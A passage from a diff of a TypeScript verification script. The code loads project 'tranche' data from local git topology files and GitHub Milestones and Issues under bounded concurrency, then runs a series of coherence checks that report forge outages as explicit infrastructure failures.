|
|
290
|
+
* shape GitHub's secondary rate limits penalise — turning a slow sweep into a
|
|
291
|
+
* throttled one. Each call is ~0.6-1.9 s of round trip and almost no CPU, so
|
|
292
|
+
* a small window already hides nearly all of the latency; going wider buys
|
|
293
|
+
* little and risks a lot.
|
|
294
|
+
*/
|
|
295
|
+
const FORGE_FETCH_CONCURRENCY = 4
|
|
296
|
+
|
|
297
|
+
async function mapWithConcurrency<T, R>(
|
|
298
|
+
items: readonly T[],
|
|
299
|
+
limit: number,
|
|
300
|
+
fn: (item: T, index: number) => Promise<R>
|
|
301
|
+
): Promise<R[]> {
|
|
302
|
+
const results = new Array<R>(items.length)
|
|
303
|
+
let next = 0
|
|
304
|
+
const worker = async (): Promise<void> => {
|
|
305
|
+
for (;;) {
|
|
306
|
+
const i = next++
|
|
307
|
+
if (i >= items.length) return
|
|
308
|
+
results[i] = await fn(items[i] as T, i)
|
|
309
|
+
}
|
|
310
|
+
}
|
|
311
|
+
await Promise.all(Array.from({ length: Math.max(1, Math.min(limit, items.length)) }, worker))
|
|
312
|
+
return results
|
|
313
|
+
}
|
|
314
|
+
|
|
315
|
+
/** One tranche file the sweep must resolve, enumerated before any forge data is fetched for it. */
|
|
316
|
+
type TrancheCandidate = {
|
|
317
|
+
slug: string
|
|
318
|
+
archived: boolean
|
|
319
|
+
/** The identity of a candidate — two candidates can share a slug (an archival move). */
|
|
320
|
+
relPath: string
|
|
321
|
+
/** True when THIS PR's own diff touches this path, so its content comes from the PR head, never the forge. */
|
|
322
|
+
fromHead: boolean
|
|
323
|
+
/** The PR head's content for this path: `null` when not head-read, or when the PR deleted/renamed it. */
|
|
324
|
+
headContent: string | null
|
|
325
|
+
}
|
|
326
|
+
|
|
327
|
+
/**
|
|
328
|
+
* Everything one sweep read from the forge: the composed tranche list every
|
|
329
|
+
* check consumes, plus the raw per-slug Issue lists and the Milestone index
|
|
330
|
+
* it was built from.
|
|
331
|
+
*
|
|
332
|
+
* The raw halves are carried out deliberately. L4 (`listIssueMilestonesForSlug`)
|
|
333
|
+
* and L5 (`listActiveTrancheSlugs`) used to re-fetch exactly the data this
|
|
334
|
+
* sweep already holds — measured at 6.9 s and 0.6 s respectively of a 26 s
|
|
335
|
+
* run — because a `Tranche` drops both the Issues' `milestone` field and the
|
|
336
|
+
* Milestone list. Returning them lets those checks derive from the same
|
|
337
|
+
* bytes rather than issue a second identical query.
|
|
338
|
+
*/
|
|
339
|
+
export type TrancheSweep = {
|
|
340
|
+
files: TrancheFile[]
|
|
341
|
+
/** slug → the `vinaya/tranche:<slug>`-labeled Issues this run fetched; absent for any slug the sweep never needed forge data for. */
|
|
342
|
+
issuesBySlug: Map<string, GhIssue[]>
|
|
343
|
+
/** `null` only when no repo resolves, in which case nothing forge-dependent runs at all. */
|
|
344
|
+
milestones: TrancheMilestoneIndex | null
|
|
345
|
+
/**
|
|
346
|
+
* Tranches the forge could not be read for AND which no topology file could
|
|
347
|
+
* stand in for — so they are absent from `files` entirely.
|
|
348
|
+
*
|
|
349
|
+
* Surfaced rather than swallowed. A tranche missing from the sweep is one
|
|
350
|
+
* every repo-wide check trivially passes, so during a forge outage a
|
|
351
|
+
* silently-narrowed sweep reports green over the very tranches it failed to
|
|
352
|
+
* read. Observed live while re-verifying this change, with GitHub returning
|
|
353
|
+
* intermittent 503s: the run stayed `failed: 0` while its own tranche count
|
|
354
|
+
* fell run to run. `runCoherenceChecks` turns a non-empty list into a
|
|
355
|
+
* `severity:infra` FORGE failure — the same vocabulary the no-token and
|
|
356
|
+
* no-repo paths already use.
|
|
357
|
+
*/
|
|
358
|
+
unavailableSlugs: string[]
|
|
359
|
+
/**
|
|
360
|
+
* The Milestone index — the sweep's enumeration authority — could not be
|
|
361
|
+
* read. Reported rather than thrown: `--json` mode's stdout must stay pure,
|
|
362
|
+
* parseable JSON (a CI job pipes it straight to `jq`), so an outage has to
|
|
363
|
+
* arrive as a FORGE failure in the report, not as a stack trace and an empty
|
|
364
|
+
* stdout.
|
|
365
|
+
*/
|
|
366
|
+
milestoneIndexFailed: boolean
|
|
367
|
+
}
|
|
368
|
+
|
|
369
|
+
/**
|
|
370
|
+
* Merges the file-parsed topology table onto a forge-derived tranche.
|
|
371
|
+
*
|
|
372
|
+
* `id`/`issue` come from the forge — the golden comparison (Issue #437)
|
|
373
|
+
* confirmed these two fields match the file-parsed topology table exactly for
|
|
374
|
+
* every task that HAS a forge Issue. `dependsOn`/`conflictsWith` are read from
|
|
375
|
+
* the topology table itself (`parseTranche`) and merged in, NOT forge-derived
|
|
376
|
+
* — a deliberate, TEMPORARY narrowing of the original swap: a cohort of
|
|
377
|
+
* grandfathered Issues predates the "Dependency rationale" grammar and carries
|
|
378
|
+
* no forge-parseable dependency data at all, and
|
|
379
|
+
* `parse-rationale-deps.ts`'s cross-tranche-qualified-ref handling has its
|
|
380
|
+
* own real gaps independent of that (fixed one instance on Issue #388, but
|
|
381
|
+
* others may remain). Backfilling/auditing the rest is its own follow-up
|
|
382
|
+
* task, not a blocker for this cutover.
|
|
383
|
+
*
|
|
384
|
+
* A `#TBD` topology row (no Issue cut yet, `issue: null`) has no forge
|
|
385
|
+
* representation at all — forge derivation can only ever list tasks it finds
|
|
386
|
+
* via a labeled Issue, so a row with no Issue is structurally invisible to it.
|
|
387
|
+
* T3 (`tbd-in-active-tranche`) exists specifically to catch these — silently
|
|
388
|
+
* dropping them here would blind the one check whose entire job is to see them
|
|
389
|
+
* (confirmed live: a tranche's real `#TBD` rows vanish from the forge-derived
|
|
390
|
+
* list entirely). So any file task with no forge counterpart is appended
|
|
391
|
+
* as-is, fully file-derived, not merged.
|
|
392
|
+
*/
|
|
393
|
+
function mergeFileTopology(forgeTranche: Tranche, fileTranche: Tranche | null): Tranche {
|
|
394
|
+
if (fileTranche === null) return forgeTranche
|
|
395
|
+
|
|
396
|
+
const forgeTaskIds = new Set(forgeTranche.tasks.map((t) => t.id))
|
|
397
|
+
const fileTaskById = new Map(fileTranche.tasks.map((t) => [t.id, t]))
|
|
398
|
+
|
|
399
|
+
const mergedTasks = forgeTranche.tasks.map((t) => {
|
|
400
|
+
const fileTask = fileTaskById.get(t.id)
|
|
401
|
+
// No file-side counterpart (shouldn't normally happen — forge/file ids
|
|
402
|
+
// matched exactly for every real task in the golden comparison) —
|
|
403
|
+
// keep forge's own dependsOn/conflictsWith rather than dropping them.
|
|
404
|
+
if (!fileTask) return t
|
|
405
|
+
return { ...t, dependsOn: fileTask.dependsOn, conflictsWith: fileTask.conflictsWith }
|
|
406
|
+
})
|
|
407
|
+
|
|
408
|
+
// File-only tasks (#TBD rows, no Issue to derive from) — appended as-is.
|
|
409
|
+
const fileOnlyTasks = fileTranche.tasks.filter((t) => !forgeTaskIds.has(t.id))
|
|
410
|
+
|
|
411
|
+
return { ...forgeTranche, tasks: [...mergedTasks, ...fileOnlyTasks] }
|
|
412
|
+
}
|
|
413
|
+
|
|
414
|
+
/**
|
|
415
|
+
* `onlySlug`: resolve this one tranche and no other. The forge derivation is
|
|
416
|
+
* meaningfully more expensive than the old local-file read (a `gh` round trip
|
|
417
|
+
* per tranche vs a near-instant `git show`), so a caller that only ever needs
|
|
418
|
+
* ONE tranche's data (`--closes-n`, below) must opt out of paying for the
|
|
419
|
+
* rest. `runCoherenceChecks` never passes this — its checks are genuinely
|
|
420
|
+
* repo-wide and need every tranche.
|
|
421
|
+
*
|
|
422
|
+
* Shape of the sweep, and why it is not a loop of self-contained derivations:
|
|
423
|
+
* every tranche is ENUMERATED first (topology files at `origin/main` and/or
|
|
424
|
+
* the PR head, then every Milestone with no file), and only then is forge data
|
|
425
|
+
* fetched — the Milestone index once for the whole run, each slug's labeled
|
|
426
|
+
* Issues exactly once, `FORGE_FETCH_CONCURRENCY` at a time. Deriving per slug
|
|
427
|
+
* through `deriveTrancheFromForge` instead re-pulled the entire Milestone list
|
|
428
|
+
* on every iteration and serialised every Issue query behind the last: 13.5 s
|
|
429
|
+
* of a 26 s run against a 6-Milestone repo, essentially all of it duplication.
|
|
430
|
+
* The derivation itself is unchanged — same Milestone facts, same Issue list,
|
|
431
|
+
* same merge — so the verdict this feeds is identical.
|
|
432
|
+
*/
|
|
433
|
+
export async function loadTrancheSweep(
|
|
434
|
+
prContext: PrReadContext = null,
|
|
435
|
+
onlySlug?: string,
|
|
436
|
+
baseRef = 'origin/main'
|
|
437
|
+
): Promise<TrancheSweep> {
|
|
438
|
+
gitFetchMainQuiet()
|
|
439
|
+
const repo = await resolveRepo()
|
|
440
|
+
|
|
441
|
+
// The Milestone index is the sweep's enumeration authority, so its failure
|
|
442
|
+
// must not be fatal by default: the pre-refactor loader reached the forge
|
|
443
|
+
// per tranche inside its own per-tranche derivation helper, which caught and fell back to the
|
|
444
|
+
// topology file, so a transient `gh` failure degraded to a file read rather
|
|
445
|
+
// than killing the run — and the `--closes-n` merge gate depends on that.
|
|
446
|
+
// Degrading silently is only safe while something else can still enumerate
|
|
447
|
+
// tranches; if nothing does, see the guard after compose.
|
|
448
|
+
let milestones: TrancheMilestoneIndex | null = null
|
|
449
|
+
let milestoneIndexFailed = false
|
|
450
|
+
if (repo) {
|
|
451
|
+
try {
|
|
452
|
+
milestones = await indexTrancheMilestonesAsync(repo.owner, repo.repo)
|
|
453
|
+
} catch (err) {
|
|
454
|
+
milestoneIndexFailed = true
|
|
455
|
+
console.warn(
|
|
456
|
+
`[verify-coherence] Milestone index fetch failed — falling back to topology files: ${(err as Error).message}`
|
|
457
|
+
)
|
|
458
|
+
}
|
|
459
|
+
}
|
|
460
|
+
|
|
461
|
+
// ---------- enumerate ----------
|
|
462
|
+
// Candidates are keyed by PATH, never by slug. An archival PR (`git mv
|
|
463
|
+
// aeg-root/tranches/x.md aeg-root/tranches/completed/x.md`) legitimately
|
|
464
|
+
// produces TWO candidates for slug `x` — the old path, gone at the head, and
|
|
465
|
+
// the new one carrying the PR's own `Lifecycle: complete` edit. Suppressing
|
|
466
|
+
// the second because the first was already seen dropped the archived entry
|
|
467
|
+
// and kept a stale active one built from `baseRef`, inverting `archived` and
|
|
468
|
+
// reading around the PR head that `PrReadContext` exists to honour.
|
|
469
|
+
const candidates: TrancheCandidate[] = []
|
|
470
|
+
const seenPaths = new Set<string>()
|
|
471
|
+
|
|
472
|
+
const addFromDir = (relDir: string, archived: boolean): void => {
|
|
473
|
+
const mainNames = new Set(listDirAtRef(baseRef, relDir))
|
|
474
|
+
const prNames = prContext ? new Set(listDirAtRef(prContext.prHeadSha, relDir)) : new Set<string>()
|
|
475
|
+
|
|
476
|
+
for (const name of new Set([...mainNames, ...prNames])) {
|
|
477
|
+
if (!isTrancheFile(name)) continue
|
|
478
|
+
const slug = name.replace(/\.md$/, '')
|
|
479
|
+
if (onlySlug && slug !== onlySlug) continue
|
|
480
|
+
const relPath = `${relDir}/${name}`
|
|
481
|
+
if (seenPaths.has(relPath)) continue
|
|
482
|
+
seenPaths.add(relPath)
|
|
483
|
+
const fromHead = prContext?.touchedFiles.has(relPath) ?? false
|
|
484
|
+
candidates.push({
|
|
485
|
+
slug,
|
|
486
|
+
archived,
|
|
487
|
+
relPath,
|
|
488
|
+
fromHead,
|
|
489
|
+
// Read eagerly: this is a local `git show`, no network, and knowing
|
|
490
|
+
// now whether the head carries content is what lets the forge fetch
|
|
491
|
+
// below be scoped to exactly the slugs that will actually need it.
|
|
492
|
+
headContent: fromHead ? readFileAtRef(prContext!.prHeadSha, relPath) : null
|
|
493
|
+
})
|
|
494
|
+
}
|
|
495
|
+
}
|
|
496
|
+
|
|
497
|
+
addFromDir(TRANCHES_RELDIR, false)
|
|
498
|
+
addFromDir(COMPLETED_RELDIR, true)
|
|
499
|
+
|
|
500
|
+
// Forge-native tranches with no topology file at all (at the forge-native
|
|
501
|
+
// cutover, a tranche's aeg-root/tranches/*.md was deleted once its
|
|
502
|
+
// Milestone-derived replacement was proven safe) are structurally invisible
|
|
503
|
+
// to the directory listing above — there is no filename for a slug with zero
|
|
504
|
+
// file to ever appear. The fill-in below covers them, and it is keyed on
|
|
505
|
+
// which slugs the candidates actually PRODUCE, not on which were enumerated:
|
|
506
|
+
// a candidate that vanished at the PR head produces nothing, and must still
|
|
507
|
+
// be recoverable from its Milestone.
|
|
508
|
+
const producedSlugs = new Set(candidates.filter((c) => !c.fromHead || c.headContent !== null).map((c) => c.slug))
|
|
509
|
+
const milestoneRefs: Array<{ slug: string; archived: boolean }> = milestones
|
|
510
|
+
? onlySlug
|
|
511
|
+
? // Scoped: gated on an explicit Milestone existence check so an
|
|
512
|
+
// unrecognized branch slug (typo, deleted tranche with no Milestone
|
|
513
|
+
// either) still reports "no topology found" rather than silently
|
|
514
|
+
// synthesizing a tranche.
|
|
515
|
+
milestones.facts.has(onlySlug)
|
|
516
|
+
? [{ slug: onlySlug, archived: false }]
|
|
517
|
+
: []
|
|
518
|
+
: // Unscoped (#515): once no tranche carries a topology file at all, the
|
|
519
|
+
// directory listing finds nothing and every repo-wide check (A1-A3,
|
|
520
|
+
// T1-T3, D1, L1-L4) would silently see zero tranches.
|
|
521
|
+
[
|
|
522
|
+
...milestones.active.map((r) => ({ slug: r.slug, archived: false })),
|
|
523
|
+
...milestones.archived.map((r) => ({ slug: r.slug, archived: true }))
|
|
524
|
+
]
|
|
525
|
+
: []
|
|
526
|
+
|
|
527
|
+
// ---------- fetch ----------
|
|
528
|
+
// Exactly the slugs that will consult the forge, bounded. Every other
|
|
529
|
+
// enumeration is already answered from local git.
|
|
530
|
+
const needForge = new Set<string>()
|
|
531
|
+
if (repo && milestones) {
|
|
532
|
+
// A candidate read from the PR head never consults the forge, in either
|
|
533
|
+
// direction: with content at the head that content IS the answer, and
|
|
534
|
+
// without it the candidate produces nothing at all — the compose pass
|
|
535
|
+
// skips it and the fill-in below is what recovers its slug, asking for its
|
|
536
|
+
// own fetch on the line after this one. Keying this on the candidate
|
|
537
|
+
// rather than on the slug is what keeps an archival move (two candidates,
|
|
538
|
+
// one slug, one of them self-sufficient) from paying for a query whose
|
|
539
|
+
// result is then discarded.
|
|
540
|
+
for (const c of candidates) if (!c.fromHead) needForge.add(c.slug)
|
|
541
|
+
for (const { slug } of milestoneRefs) if (!producedSlugs.has(slug)) needForge.add(slug)
|
|
542
|
+
}
|
|
543
|
+
|
|
544
|
+
const fetched = await mapWithConcurrency([...needForge], FORGE_FETCH_CONCURRENCY, async (slug) => {
|
|
545
|
+
try {
|
|
546
|
+
return { slug, issues: await fetchTrancheIssuesAsync(repo!.owner, repo!.repo, slug) }
|
|
547
|
+
} catch (err) {
|
|
548
|
+
// Never let one tranche's unavailability crash the whole oracle — the
|
|
549
|
+
// same discipline every forge-dependent check below already applies.
|
|
550
|
+
// The caller falls back to the topology file for this slug.
|
|
551
|
+
console.warn(
|
|
552
|
+
`[verify-coherence] forge derivation failed for tranche "${slug}" — falling back to file read: ${(err as Error).message}`
|
|
553
|
+
)
|
|
554
|
+
return { slug, issues: null }
|
|
555
|
+
}
|
|
556
|
+
})
|
|
557
|
+
|
|
558
|
+
const issuesBySlug = new Map<string, GhIssue[]>()
|
|
559
|
+
const failedSlugs = new Set<string>()
|
|
560
|
+
for (const { slug, issues } of fetched) {
|
|
561
|
+
if (issues === null) failedSlugs.add(slug)
|
|
562
|
+
else issuesBySlug.set(slug, issues)
|
|
563
|
+
}
|
|
564
|
+
|
|
565
|
+
/** The shared file-plus-forge composition both compose passes below use. */
|
|
566
|
+
const composeFromFile = (slug: string, archived: boolean, relPath: string): TrancheFile | null => {
|
|
567
|
+
const raw = readFileAtRef(baseRef, relPath)
|
|
568
|
+
const fileTranche = raw === null ? null : parseTranche(raw)
|
|
569
|
+
|
|
570
|
+
// No repo, no Milestone index, or this slug's forge fetch failed — the
|
|
571
|
+
// topology file is the whole answer (dependsOn/conflictsWith included,
|
|
572
|
+
// #TBD rows included).
|
|
573
|
+
if (!repo || !milestones || failedSlugs.has(slug)) {
|
|
574
|
+
return fileTranche === null ? null : { slug, archived, tranche: fileTranche }
|
|
575
|
+
}
|
|
576
|
+
|
|
577
|
+
const forgeTranche = trancheFromIssues(slug, issuesBySlug.get(slug) ?? [], milestones.facts.get(slug))
|
|
578
|
+
return { slug, archived, tranche: mergeFileTopology(forgeTranche, fileTranche) }
|
|
579
|
+
}
|
|
580
|
+
|
|
581
|
+
// ---------- compose ----------
|
|
582
|
+
// One ordered pass over the candidates, so the emitted tranche order matches
|
|
583
|
+
// the pre-refactor loader's exactly (directory listing order, active dir then
|
|
584
|
+
// completed dir), then the Milestone fill-in.
|
|
585
|
+
const files: TrancheFile[] = []
|
|
586
|
+
for (const c of candidates) {
|
|
587
|
+
if (c.fromHead) {
|
|
588
|
+
// This PR's own topology diff: its content is the answer, and it has no
|
|
589
|
+
// forge equivalent to derive from.
|
|
590
|
+
if (c.headContent !== null) {
|
|
591
|
+
files.push({ slug: c.slug, archived: c.archived, tranche: parseTranche(c.headContent) })
|
|
592
|
+
continue
|
|
593
|
+
}
|
|
594
|
+
// Deleted or renamed at the head. Contributes nothing itself; a sibling
|
|
595
|
+
// candidate (the rename's destination) or the fill-in below recovers the
|
|
596
|
+
// slug, so a topology move cannot narrow the sweep.
|
|
597
|
+
continue
|
|
598
|
+
}
|
|
599
|
+
const composed = composeFromFile(c.slug, c.archived, c.relPath)
|
|
600
|
+
if (composed !== null) files.push(composed)
|
|
601
|
+
}
|
|
602
|
+
|
|
603
|
+
for (const { slug, archived } of milestoneRefs) {
|
|
604
|
+
if (files.some((f) => f.slug === slug)) continue
|
|
605
|
+
const relPath = `${archived ? COMPLETED_RELDIR : TRANCHES_RELDIR}/${slug}.md`
|
|
606
|
+
const composed = composeFromFile(slug, archived, relPath)
|
|
607
|
+
if (composed !== null) files.push(composed)
|
|
608
|
+
}
|
|
609
|
+
|
|
610
|
+
// A failed fetch falls back to the topology file; with no file to fall back
|
|
611
|
+
// to — the normal state post-cutover — the tranche is simply absent, and an
|
|
612
|
+
// absent tranche is one every check trivially passes. Record those so the
|
|
613
|
+
// caller reports the coverage gap instead of the sweep quietly shrinking.
|
|
614
|
+
const producedAfterCompose = new Set(files.map((f) => f.slug))
|
|
615
|
+
const unavailableSlugs = [...failedSlugs].filter((slug) => !producedAfterCompose.has(slug))
|
|
616
|
+
|
|
617
|
+
return { files, issuesBySlug, milestones, unavailableSlugs, milestoneIndexFailed }
|
|
618
|
+
}
|
|
619
|
+
|
|
620
|
+
/** `loadTrancheSweep`'s composed tranche list, for callers that need nothing else from the sweep. */
|
|
621
|
+
export async function loadTrancheFiles(prContext: PrReadContext = null, onlySlug?: string): Promise<TrancheFile[]> {
|
|
622
|
+
return (await loadTrancheSweep(prContext, onlySlug)).files
|
|
623
|
+
}
|
|
624
|
+
|
|
625
|
+
// ---------- main orchestrator ------------------------------------------------
|
|
626
|
+
|
|
627
|
+
export type RunCoherenceChecksOptions = {
|
|
628
|
+
/** See `PrReadContext` — repo-state reads move to fetched origin/main; the PR's own topology diff still reads from its head ref. */
|
|
629
|
+
prContext?: PrReadContext
|
|
630
|
+
/**
|
|
631
|
+
* T2 relocation: `true` ONLY for a CI run against a plan PR whose
|
|
632
|
+
* own diff touches a tranche topology file — the only PR kind that can
|
|
633
|
+
* cause or cure a T2 gap. Defaults to `false` (info-only, never blocking)
|
|
634
|
+
* for every other context: task-PR CI, local dev, `--json` audit mode,
|
|
635
|
+
* daily-drift — matching the brief's "surfaced never blocking" rule.
|
|
636
|
+
*/
|
|
637
|
+
isPlanPr?: boolean
|
|
638
|
+
}
|
|
639
|
+
|
|
640
|
+
export async function runCoherenceChecks(
|
|
641
|
+
options: RunCoherenceChecksOptions = {}
|
|
642
|
+
): Promise<{ results: CheckResult[]; forgeUnavailable: boolean }> {
|
|
643
|
+
const { prContext = null, isPlanPr = false } = options
|
|
644
|
+
const sweep = await loadTrancheSweep(prContext)
|
|
645
|
+
const { files } = sweep
|
|
646
|
+
const results: CheckResult[] = []
|
|
647
|
+
|
|
648
|
+
// Enumeration failed AND nothing local could stand in: every repo-wide check
|
|
649
|
+
// would run against zero tranches and report clean, which is the exact silent
|
|
650
|
+
// blindness the Milestone fill-in exists to prevent. Refuse the run rather
|
|
651
|
+
// than return a green one — but refuse it as a report, so `--json` stdout
|
|
652
|
+
// stays parseable.
|
|
653
|
+
if (sweep.milestoneIndexFailed && files.length === 0) {
|
|
654
|
+
results.push({
|
|
655
|
+
check: 'FORGE',
|
|
656
|
+
status: 'fail',
|
|
657
|
+
failures: [],
|
|
658
|
+
note: 'severity:infra — the Milestone index could not be read and no topology file was found, so no tranche could be enumerated. No check in this run evaluated anything; re-run once the forge is reachable.'
|
|
659
|
+
})
|
|
660
|
+
results.push(...checkM1M2M3())
|
|
661
|
+
return { results, forgeUnavailable: true }
|
|
662
|
+
}
|
|
663
|
+
|
|
664
|
+
// ---------- CI scope detection ----------
|
|
665
|
+
// Parse the PR's tranche from BRANCH (CI) or GITHUB_HEAD_REF (Actions env).
|
|
666
|
+
// Used to scope T3 so a PR against one tranche isn't blocked by legacy
|
|
667
|
+
// #TBD rows in an unrelated one.
|
|
668
|
+
const ciTrancheSlug: string | null = (() => {
|
|
669
|
+
const branch = process.env.BRANCH ?? process.env.GITHUB_HEAD_REF ?? ''
|
|
670
|
+
const m = branch.match(/^task\/([^/]+)\//)
|
|
671
|
+
return m?.[1] ?? null
|
|
672
|
+
})()
|
|
673
|
+
|
|
674
|
+
// ---------- base entries (no forge facts yet) ----------
|
|
675
|
+
|
|
676
|
+
const allEntries: TaskEntry[] = files.flatMap((f) =>
|
|
677
|
+
f.tranche.tasks.map((t) => ({ trancheSlug: f.slug, archived: f.archived, task: t, facts: undefined }))
|
|
678
|
+
)
|
|
679
|
+
|
|
680
|
+
results.push(checkL3(files))
|
|
681
|
+
|
|
682
|
+
// ---------- forge-dependent checks ----------
|
|
683
|
+
|
|
684
|
+
const repo = await resolveRepo()
|
|
685
|
+
const token = await resolveGithubToken()
|
|
686
|
+
|
|
687
|
+
if (!token) {
|
|
688
|
+
// No forge fetch was attempted at all — every tranche is unavailable.
|
|
689
|
+
const allUnavailableSlugs = new Set(files.map((f) => f.slug))
|
|
690
|
+
results.push(checkT3(allEntries, ciTrancheSlug, undefined, allUnavailableSlugs))
|
|
691
|
+
results.push({
|
|
692
|
+
check: 'FORGE',
|
|
693
|
+
status: 'fail',
|
|
694
|
+
failures: [],
|
|
695
|
+
note: 'severity:infra — No GitHub token found (set GITHUB_TOKEN or run `gh auth login`). All forge-dependent checks skipped.'
|
|
696
|
+
})
|
|
697
|
+
results.push(...checkM1M2M3())
|
|
698
|
+
return { results, forgeUnavailable: true }
|
|
699
|
+
}
|
|
700
|
+
|
|
701
|
+
if (!repo) {
|
|
702
|
+
// No forge fetch was attempted at all — every tranche is unavailable.
|
|
703
|
+
const allUnavailableSlugs = new Set(files.map((f) => f.slug))
|
|
704
|
+
results.push(checkT3(allEntries, ciTrancheSlug, undefined, allUnavailableSlugs))
|
|
705
|
+
results.push({
|
|
706
|
+
check: 'FORGE',
|
|
707
|
+
status: 'fail',
|
|
708
|
+
failures: [],
|
|
709
|
+
note: 'severity:infra — Could not resolve GitHub repository (set AEG_REPO=owner/repo). All forge-dependent checks skipped.'
|
|
710
|
+
})
|
|
711
|
+
results.push(...checkM1M2M3())
|
|
712
|
+
return { results, forgeUnavailable: true }
|
|
713
|
+
}
|
|
714
|
+
|
|
715
|
+
const { owner, repo: repoName } = repo
|
|
716
|
+
|
|
717
|
+
// Fetch forge facts for all tranches (A1/A2/A3 share this fetch)
|
|
718
|
+
const snapshotsBySlug = new Map<string, Map<string, ForgeFacts>>()
|
|
719
|
+
let anyForgeUnavailable = false
|
|
720
|
+
|
|
721
|
+
const eligible = files
|
|
722
|
+
.map((f) => ({
|
|
723
|
+
f,
|
|
724
|
+
tasks: f.tranche.tasks.filter((t) => t.issue !== null).map((t) => ({ id: t.id, issue: t.issue as number }))
|
|
725
|
+
}))
|
|
726
|
+
.filter(({ tasks }) => tasks.length > 0)
|
|
727
|
+
|
|
728
|
+
const snapshotResults = await Promise.all(
|
|
729
|
+
eligible.map(async ({ f, tasks }) => ({
|
|
730
|
+
f,
|
|
731
|
+
snapshot: await fetchForgeFacts({ owner, repo: repoName, tranche: f.slug, tasks })
|
|
732
|
+
}))
|
|
733
|
+
)
|
|
734
|
+
|
|
735
|
+
for (const { f, snapshot } of snapshotResults) {
|
|
736
|
+
if (snapshot.unavailable) {
|
|
737
|
+
anyForgeUnavailable = true
|
|
738
|
+
} else {
|
|
739
|
+
snapshotsBySlug.set(f.slug, snapshot.facts)
|
|
740
|
+
}
|
|
741
|
+
}
|
|
742
|
+
|
|
743
|
+
// Tranches whose forge snapshot fetch failed entirely — used by T3's
|
|
744
|
+
// forge-unavailable carve-out so a #TBD row isn't silently un-grandfathered
|
|
745
|
+
// just because its tranche's forge data never arrived.
|
|
746
|
+
const forgeUnavailableSlugs = new Set(files.map((f) => f.slug).filter((slug) => !snapshotsBySlug.has(slug)))
|
|
747
|
+
|
|
748
|
+
// Build enriched entries with forge facts
|
|
749
|
+
const enrichedEntries: TaskEntry[] = files.flatMap((f) => {
|
|
750
|
+
const factsMap = snapshotsBySlug.get(f.slug)
|
|
751
|
+
return f.tranche.tasks.map((t) => ({
|
|
752
|
+
trancheSlug: f.slug,
|
|
753
|
+
archived: f.archived,
|
|
754
|
+
task: t,
|
|
755
|
+
// undefined when forge unavailable for this tranche OR when issue doesn't exist
|
|
756
|
+
facts: factsMap?.get(t.id)
|
|
757
|
+
}))
|
|
758
|
+
})
|
|
759
|
+
|
|
760
|
+
// Build lookup maps
|
|
761
|
+
const issueToEntry = new Map<number, TaskEntry>()
|
|
762
|
+
const taskToEntry = new Map<string, TaskEntry>()
|
|
763
|
+
for (const e of enrichedEntries) {
|
|
764
|
+
if (e.task.issue !== null) issueToEntry.set(e.task.issue, e)
|
|
765
|
+
taskToEntry.set(`${e.trancheSlug}/${e.task.id}`, e)
|
|
766
|
+
}
|
|
767
|
+
|
|
768
|
+
// Only run forge checks for entries whose tranche snapshot was available
|
|
769
|
+
const availableEntries = enrichedEntries.filter((e) => snapshotsBySlug.has(e.trancheSlug))
|
|
770
|
+
|
|
771
|
+
// A1 / A3 checks
|
|
772
|
+
results.push(checkA1(availableEntries))
|
|
773
|
+
results.push(checkA3(availableEntries))
|
|
774
|
+
|
|
775
|
+
// A2 — needs closing PR numbers + comment check (separate batch query)
|
|
776
|
+
const a2Candidates = availableEntries.filter(
|
|
777
|
+
(e) => e.facts?.issueState === 'closed' && e.facts.prState === 'merged' && e.task.issue !== null
|
|
778
|
+
)
|
|
779
|
+
const a2IssueNums = a2Candidates.map((e) => e.task.issue as number)
|
|
780
|
+
const provenanceByIssueNum = await fetchProvenance(a2IssueNums, owner, repoName, token)
|
|
781
|
+
|
|
782
|
+
// Convert provenance lookup from issue# to `slug/taskId` key
|
|
783
|
+
const provenanceByKey = new Map<string, boolean>()
|
|
784
|
+
for (const e of a2Candidates) {
|
|
785
|
+
if (e.task.issue === null) continue
|
|
786
|
+
const hasProvenance = provenanceByIssueNum.get(e.task.issue)
|
|
787
|
+
if (hasProvenance !== undefined) {
|
|
788
|
+
provenanceByKey.set(`${e.trancheSlug}/${e.task.id}`, hasProvenance)
|
|
789
|
+
}
|
|
790
|
+
}
|
|
791
|
+
results.push(checkA2(availableEntries, provenanceByKey))
|
|
792
|
+
|
|
793
|
+
// T1 check (only when forge available)
|
|
794
|
+
results.push(checkT1(availableEntries))
|
|
795
|
+
|
|
796
|
+
// T3 — post-forge so enrichedEntries can be used for pre-cutoff date proxy
|
|
797
|
+
results.push(checkT3(allEntries, ciTrancheSlug, enrichedEntries, forgeUnavailableSlugs))
|
|
798
|
+
|
|
799
|
+
// T2 / R1 checks — share one batched label-scoped Issue fetch (number + body + labels).
|
|
800
|
+
// The fetch itself stays repo-wide (all active slugs) so --json/audit mode
|
|
801
|
+
// keeps full coverage; only checkT2's own failure computation is scoped by
|
|
802
|
+
// ciTrancheSlug, mirroring T3.
|
|
803
|
+
const activeSlugs = files.filter((f) => !f.archived).map((f) => f.slug)
|
|
804
|
+
const issuesBySlug = await fetchOpenIssuesByLabel(activeSlugs, owner, repoName, token)
|
|
805
|
+
|
|
806
|
+
const openIssueNumsBySlug = new Map<string, number[]>(
|
|
807
|
+
[...issuesBySlug].map(([slug, issues]) => [slug, issues.map((i) => i.number)])
|
|
808
|
+
)
|
|
809
|
+
|
|
810
|
+
const topologyIssuesBySlug = new Map<string, Set<number>>()
|
|
811
|
+
for (const f of files) {
|
|
812
|
+
if (f.archived) continue
|
|
813
|
+
const nums = new Set<number>()
|
|
814
|
+
for (const t of f.tranche.tasks) {
|
|
815
|
+
if (t.issue !== null) nums.add(t.issue)
|
|
816
|
+
}
|
|
817
|
+
topologyIssuesBySlug.set(f.slug, nums)
|
|
818
|
+
}
|
|
819
|
+
results.push(scopeT2ToPlanPr(checkT2(openIssueNumsBySlug, topologyIssuesBySlug, ciTrancheSlug), isPlanPr))
|
|
820
|
+
const registeredNames = readRegisteredProjectNames()
|
|
821
|
+
if (registeredNames.length === 0) {
|
|
822
|
+
console.warn(
|
|
823
|
+
"[verify-coherence] no registry rows parsed from `.vinaya/projects.md` (absent, or every row malformed) — R1's project-registry half is dormant."
|
|
824
|
+
)
|
|
825
|
+
}
|
|
826
|
+
results.push(checkR1(issuesBySlug, R1_GRANDFATHERED_ISSUES, registeredNames))
|
|
827
|
+
|
|
828
|
+
// D1 check
|
|
829
|
+
results.push(checkD1(availableEntries, issueToEntry, taskToEntry))
|
|
830
|
+
|
|
831
|
+
// L1 / L2 checks
|
|
832
|
+
const entriesBySlug = new Map<string, TaskEntry[]>()
|
|
833
|
+
